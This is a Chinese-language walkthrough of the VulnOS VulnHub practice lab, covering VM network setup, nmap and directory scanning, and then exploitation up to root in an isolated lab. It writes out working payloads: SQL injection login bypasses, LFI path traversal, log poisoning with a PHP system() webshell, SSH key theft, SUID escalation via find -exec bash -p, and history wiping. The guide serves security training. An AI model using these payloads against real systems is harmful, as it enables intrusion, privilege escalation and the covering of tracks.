VulnOS靶场实战:从SQL注入到权限提升的完整渗透测试指南

1. 项目概述:为什么VulnOS是渗透测试的“必修课”?

如果你刚接触网络安全,或者想从理论转向实战,那么“靶场”这个词你一定不陌生。它就像网络安全领域的“模拟驾驶舱”,让你在一个安全、合法的环境里,练习各种攻击和防御技术,而不用担心触犯法律或造成实际损害。在众多靶场中,VulnOS 绝对是一个绕不开的名字,它被很多老鸟称为“渗透测试的必练靶场”,这可不是空穴来风。

我第一次接触VulnOS是在几年前,当时为了准备一个认证考试,需要大量实操。市面上靶场五花八门,有的太简单,像做选择题;有的又太复杂,像直接扔给你一个真实企业网络,让人无从下手。VulnOS 恰好卡在了一个黄金平衡点上:它模拟了一个相对完整的、存在多个漏洞的Linux系统,从信息收集、Web渗透到权限提升,几乎覆盖了渗透测试的经典流程。更重要的是,它的漏洞设计非常“教科书”,没有太多花里胡哨的混淆,能让你清晰地理解每一种攻击手法的原理和利用条件。这就像学武术,你得先扎好马步、练好标准拳法,才能去应对复杂的实战。VulnOS就是那个帮你打好基础的“马步”。

对于新手来说,它能帮你建立完整的渗透测试思维;对于有经验的人来说,它可以作为检验基础技能是否扎实的试金石。接下来,我会结合自己多次通关的经验,从安装部署到核心漏洞详解,带你完整地走一遍VulnOS,分享那些官方文档里不会写的细节和踩过的坑。

2. VulnOS靶场详解:核心漏洞与攻击路径拆解

VulnOS 靶场模拟了一个名为“Jarbas”的用户的个人服务器。整个渗透过程可以清晰地划分为几个阶段,这本身就是一种很好的学习框架。下面我们来拆解它的核心设计思路和攻击面。

2.1 整体环境与设计思路

VulnOS 本质上是一个运行在虚拟机里的Linux系统(基于Ubuntu)。它预装并配置了多个存在漏洞的服务,最核心的是一个自定义的Web应用。靶场的最终目标是获取系统的最高权限(root shell)。它的设计巧妙之处在于,漏洞链环环相扣,你需要像侦探一样,将发现的碎片信息(线索)串联起来,一步步深入。

典型的攻击路径是这样的:

  1. 信息收集:发现目标IP和开放端口,识别运行的服务(如HTTP, SSH)。
  2. Web渗透:这是主战场。通过网站漏洞(如SQL注入、文件包含)获取Web服务器的访问权限,或者直接拿到数据库中的敏感信息(如用户密码哈希)。
  3. 权限提升:利用Web漏洞获得的立足点(比如一个低权限的Web Shell),结合系统层面的配置错误或内核漏洞,将权限从普通用户(如www-data)提升到jarbas用户,最终提升到root

这个路径模拟了从外部攻击到内部横向移动/提权的经典场景,非常贴近中级难度的真实渗透测试。

2.2 核心漏洞点深度解析

VulnOS 包含了多个经典漏洞,我们逐一来看其原理和利用的关键。

1. SQL注入(登录绕过与数据泄露)这是最常见的入口点之一。靶场的Web登录界面存在SQL注入漏洞。漏洞原理是,后端代码直接将用户输入拼接进SQL查询语句,没有进行任何过滤或参数化处理。 例如,登录的查询可能是:SELECT * FROM users WHERE username='$user' AND password='$pass'。 通过注入' OR '1'='1到用户名字段,查询就变成了:SELECT * FROM users WHERE username='' OR '1'='1' AND password='xxx'。由于'1'='1'永远为真,这条查询就可能返回数据库中的用户记录,从而实现“无密码”登录。

实操心得:遇到登录框,先尝试最简单的'单引号,看是否有报错信息。VulnOS的注入点比较明显,使用admin' --(注意末尾空格)通常可以直接绕过。使用sqlmap工具可以自动化这个过程,但手动理解payload的构造对于学习至关重要。

2. 本地文件包含(LFI)与日志投毒登录系统后,你可能会发现某些页面通过参数来包含文件,例如page=../../../../etc/passwd。这就是本地文件包含漏洞,允许攻击者读取服务器上的任意文件。 更高级的利用是“日志投毒”。Apache等Web服务器的访问日志(如/var/log/apache2/access.log)会记录每一个请求,包括User-Agent头。如果我们可以向日志中写入PHP代码(通过修改User-Agent),再通过LFI漏洞去包含这个日志文件,服务器就会执行我们写入的PHP代码,从而获得一个Web Shell。

注意事项:LFI读取文件时,可能会遇到路径遍历限制。需要尝试不同的层级../数量。日志投毒时,要确保写入的PHP代码是完整的<?php system($_GET[‘cmd’]);?>形式,并且通过LFI包含时,日志文件能被PHP解析器处理(有时需要额外参数或特定姿势)。

3. 系统配置错误与SUID提权通过Web Shell,我们通常以www-data用户身份执行命令。下一步是提权到普通用户jarbas。这里常常利用的是配置错误,例如jarbas用户的家目录权限设置不当,www-data可以读取其SSH私钥,或者某个由jarbas运行的定时任务(cron job)可以被我们写入或影响。 获得jarbas权限后,向root提权是最后一步。VulnOS 经典的一招是利用配置错误的SUID(Set User ID)二进制文件。SUID文件在执行时,会以文件所有者的权限运行。如果root拥有的某个程序(如/bin/bash的某个自定义副本、或者像nmap这样的工具)被设置了SUID位,并且功能可以被我们滥用,我们就能借此获得一个rootshell。 一个经典的例子是,如果nmap旧版本(交互模式)被设置了SUID,我们可以在nmap交互模式中执行!bash来逃逸到一个shell,而这个shell将继承nmaproot权限。

排查技巧:拿到任何用户权限后,第一件事就是运行find / -perm -u=s -type f 2>/dev/null这条命令,查找所有SUID文件。然后逐一研究这些不常见的、属于root的SUID文件,搜索其已知的提权方法。

3. 从零开始:VulnOS靶场安装与环境配置指南

工欲善其事,必先利其器。一个稳定的实验环境是成功的第一步。这里我提供两种主流的安装方法,并详细说明网络配置的坑点。

3.1 虚拟机安装与网络模式选择

VulnOS 的镜像文件(通常是.ova.vmdk格式)可以从 VulnHub 官网免费下载。我强烈建议使用VMware Workstation ProVirtualBox来运行它。

步骤一:导入虚拟机

  1. 下载完成后,如果是.ova文件,直接在VMware或VirtualBox中选择“文件”->“打开”,导入该文件。
  2. 导入后,不要急着启动。先检查虚拟机的设置。

步骤二:关键的网络配置(避坑重点)这是新手最容易出问题的地方。靶场需要与你的攻击机(通常是Kali Linux)通信。

  • 桥接模式:虚拟机会像一台真实设备一样接入你的物理网络,会从你的路由器获取一个IP地址(如192.168.1.x)。优点是攻击机(无论物理机还是虚拟机)只要在同一局域网,都能访问靶机。缺点是需要路由器环境,在纯笔记本移动场景可能不稳定。
  • NAT模式:虚拟机共享主机的IP地址上网,对外不可见。默认的NAT模式,你的攻击机(Kali)无法直接访问靶机。
  • Host-Only模式:虚拟机和主机之间形成一个封闭的私有网络,虚拟机无法上外网,但可以和主机通信。

推荐方案:使用VMware的“自定义”网络我个人的最佳实践是,在VMware中创建一个自定义的VMnet网络(例如VMnet2),将攻击机(Kali)和靶机(VulnOS)的网络适配器都设置为这个VMnet2。

  1. 在VMware的“编辑”->“虚拟网络编辑器”中,添加一个网络(如VMnet2),类型选择“仅主机模式”。
  2. 将Kali和VulnOS虚拟机的网络适配器都设置为“自定义”,并选中刚才创建的VMnet2。
  3. 这样,两台虚拟机就处于一个与主机隔离的、纯粹的内部网络中,可以互相通信,且不受外部网络干扰,是最稳定的实验环境。

步骤三:启动与初始发现启动VulnOS虚拟机。它通常会直接启动到登录界面。你不需要知道登录密码,因为我们的目标就是通过渗透找到它。此时,你需要确定靶机的IP地址。 在VulnOS的登录界面,按Ctrl + Alt + F2(在VMware中可能需要按Ctrl + Alt + Insert然后按F2)切换到命令行终端。使用ifconfigip addr show命令查看IP地址。记下这个IP(例如192.168.xxx.xxx)。

3.2 攻击机环境准备(以Kali为例)

你的攻击机,我假设使用Kali Linux。

  1. 更新与基础工具:首先sudo apt update && sudo apt upgrade -y确保工具最新。
  2. 关键工具确认:确保安装了nmap,sqlmap,nikto,dirb,metasploit-framework等。通常Kali默认都有。
  3. 网络连通性测试:在Kali终端里,ping <靶机IP>。如果能通,说明网络配置成功。这是后续所有步骤的基础,务必先确认。

4. 手把手渗透实战:分阶段攻破VulnOS

现在,我们假设靶机IP是192.168.56.105,攻击机Kali的IP是192.168.56.104。让我们开始一次完整的“模拟攻击”。

4.1 第一阶段:信息收集与侦察

信息收集是渗透的“眼睛”,决定了你从哪个方向进攻。

  1. 主机发现与端口扫描

    # 使用nmap进行快速扫描,识别开放端口 nmap -sS -T4 192.168.56.105

    -sS是SYN半开放扫描,速度快且相对隐蔽。-T4指定扫描速度。你会看到类似以下结果:

    PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 6667/tcp open irc

    这表明靶机开放了SSH(22)、HTTP(80)和一个IRC服务(6667)。Web服务(80端口)通常是最主要的攻击面。

  2. 服务与版本探测

    # 对开放的端口进行更详细的版本探测 nmap -sV -sC -p 22,80,6667 192.168.56.105

    -sV探测服务版本,-sC运行默认的Nmap脚本。这会告诉你Apache的版本、PHP版本等,有助于寻找已知漏洞。

  3. Web目录枚举

    # 使用dirb或gobuster寻找隐藏的目录和文件 dirb http://192.168.56.105 /usr/share/wordlists/dirb/common.txt

    或者使用更快的gobuster

    gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt

    这个步骤可能会发现/admin/phpmyadmin/test等关键路径。

4.2 第二阶段:Web应用渗透与突破

访问http://192.168.56.105,你会看到一个简单的网站。这就是我们的主战场。

  1. 手动测试SQL注入: 寻找登录框、搜索框。在登录的用户名处尝试输入:admin' --。如果成功登录后台,证明存在SQL注入。你也可以使用sqlmap进行自动化验证和利用:

    sqlmap -u "http://192.168.56.105/login.php" --data="username=admin&password=test" --level=3 --risk=2

    --data指定POST参数,--level--risk提高测试等级。

  2. 利用LFI漏洞: 登录后台后,注意URL参数。常见的参数名如page,file,load。尝试修改它:http://192.168.56.105/index.php?page=../../../../etc/passwd。如果成功显示了系统用户列表,则LFI存在。日志投毒获取Shell: a. 首先,用Burp Suite或浏览器插件,向靶机发送一个请求,并将User-Agent头修改为PHP代码:User-Agent: <?php system($_GET['cmd']);?>b. 然后,通过LFI漏洞包含Apache的访问日志(常见路径/var/log/apache2/access.log):http://192.168.56.105/index.php?page=../../../../var/log/apache2/access.log&cmd=id如果页面返回了uid=33(www-data) gid=33(www-data) ...,恭喜你,命令执行成功了。你可以将cmd参数的值换成其他命令,如whoami,pwd

  3. 建立稳定的Web Shell: 命令执行成功了,但每次都要带参数很麻烦。我们可以写一个简单的PHP Webshell到网站目录。

    # 通过命令执行,用echo写入一个shell文件 http://192.168.56.105/index.php?page=../../../../var/log/apache2/access.log&cmd=echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php

    然后直接访问http://192.168.56.105/shell.php?c=id,就能执行命令。这样就获得了一个简单的反向Shell或Web交互界面。

4.3 第三阶段:权限提升之路

现在我们已经以www-data用户身份在系统上执行命令了。目标是root

  1. 横向移动到jarbas用户

    • 检查jarbas家目录ls -la /home/jarbas/。看看是否有.ssh目录,里面是否有id_rsa(私钥)。如果有且可读,可以复制到Kali,用chmod 600 id_rsa修改权限后,直接ssh -i id_rsa jarbas@192.168.56.105登录。
    • 检查计划任务cat /etc/crontabcrontab -l(如果允许)。看是否有以jarbas身份运行的定时任务,并且任务中的脚本或路径是否可写。
    • 检查数据库密码复用:之前SQL注入可能拿到了数据库密码。有些管理员会在不同服务复用密码。尝试su jarbas,然后输入数据库密码看看。
  2. 从jarbas到root(SUID提权): 登录jarbas后,立即查找SUID文件:

    find / -perm -u=s -type f 2>/dev/null | grep -v '/proc\|/sys'

    仔细查看列表。一个常见的可疑文件可能是/usr/bin/xxxx(这里xxxx代表某个不常见的工具)。搜索这个文件名+“SUID privilege escalation”,通常能在GTFOBins这个网站上找到利用方法。 例如,假设发现/usr/bin/find有SUID位(VulnOS里不一定是这个,只是举例),可以利用:

    /usr/bin/find . -exec /bin/bash -p \;

    这里的-p参数会让bash保留SUID赋予的高权限,从而得到一个rootshell。执行whoami确认是否为root

5. 常见问题、排查技巧与深度优化

在实际操作中,绝不会一帆风顺。下面是我总结的一些典型问题及其解决方法。

5.1 网络与连接问题

问题现象可能原因解决方案
Kali ping不通靶机虚拟机网络模式设置错误确保两者在同一网络(如都设为VMnet2)。关闭防火墙(sudo ufw disable在靶机或Kali上)。
能ping通但无法访问Web靶机Web服务未启动到靶机终端检查sudo systemctl status apache2。尝试重启sudo systemctl restart apache2
扫描不到80端口靶机IP地址变更重启靶机,在终端再次用ip addr确认IP。
虚拟机运行卡顿分配资源不足为VulnOS分配至少1GB内存和双核CPU。关闭不必要的宿主程序。

实操心得永远先检查网络。我的习惯是,在启动任何渗透步骤前,先在Kali上arp-scan -l扫描整个网段,确认靶机的MAC地址和IP确实在线。这比单纯ping更可靠。

5.2 漏洞利用失败分析

  • SQL注入payload无效:可能是过滤了空格或某些关键词。尝试用注释符/**/代替空格,或者用大小写、双写绕过。例如UNION写成UnIoNUNunionION。用sqlmap--tamper参数尝试各种绕过脚本。
  • LFI读取不到/etc/passwd:可能是路径深度不对或存在过滤。尝试不同的../数量,或者使用绝对路径/etc/passwd。有时需要URL编码,如..%2f..%2f。还可以尝试PHP的封装器,如php://filter/convert.base64-encode/resource=/etc/passwd来读取文件内容。
  • 日志投毒不执行:首先确认日志路径是否正确(可能是/var/log/httpd/access_log)。其次,查看日志文件内容,确认我们的恶意User-Agent是否被正确写入(sudo tail -f /var/log/apache2/access.log)。最后,有些环境需要额外的技巧才能让LFI执行日志中的PHP代码,比如通过include()包含时,需要确保日志文件以.php后缀被解析,这可能需要在请求中添加?等字符。

5.3 渗透后的清理与学习延伸

拿到root权限并不是终点。一个负责任的渗透测试者(或学习者)还需要:

  1. 清理痕迹:删除上传的Webshell文件(如/var/www/html/shell.php),清除命令历史(history -c并清空~/.bash_history)。
  2. 复盘总结:画出整个渗透路径的流程图,标明每个漏洞点、利用工具和关键命令。问自己:有没有其他路径?那个IRC服务(6667端口)我探索了吗?如果第一步的SQL注入被修复了,我还有别的入口吗?
  3. 尝试其他方法:用Metasploit框架从头到尾自动化完成一次渗透。对比手动和自动的差异,理解框架背后的原理。
  4. 搭建自己的变种:在虚拟机里,尝试手动修改VulnOS的某个漏洞(比如修补SQL注入),然后再次尝试攻击,看看你的绕过技巧是否有效。这是将知识内化的最佳方式。

VulnOS的价值在于它提供了一个近乎完美的“训练场”。它没有最新的0day漏洞,但涵盖了最基础、最核心的攻防原理。把这些基础打牢,形成肌肉记忆和条件反射,当你面对更复杂、更隐蔽的现代靶场或真实环境时,才能快速抓住重点,拆解问题。我建议至少完全手动通关三遍,每一遍尝试不同的攻击路径和提权方法,直到你觉得整个过程行云流水,遇到问题能自己独立排查。这时候,你的渗透测试基本功才算真正入门了。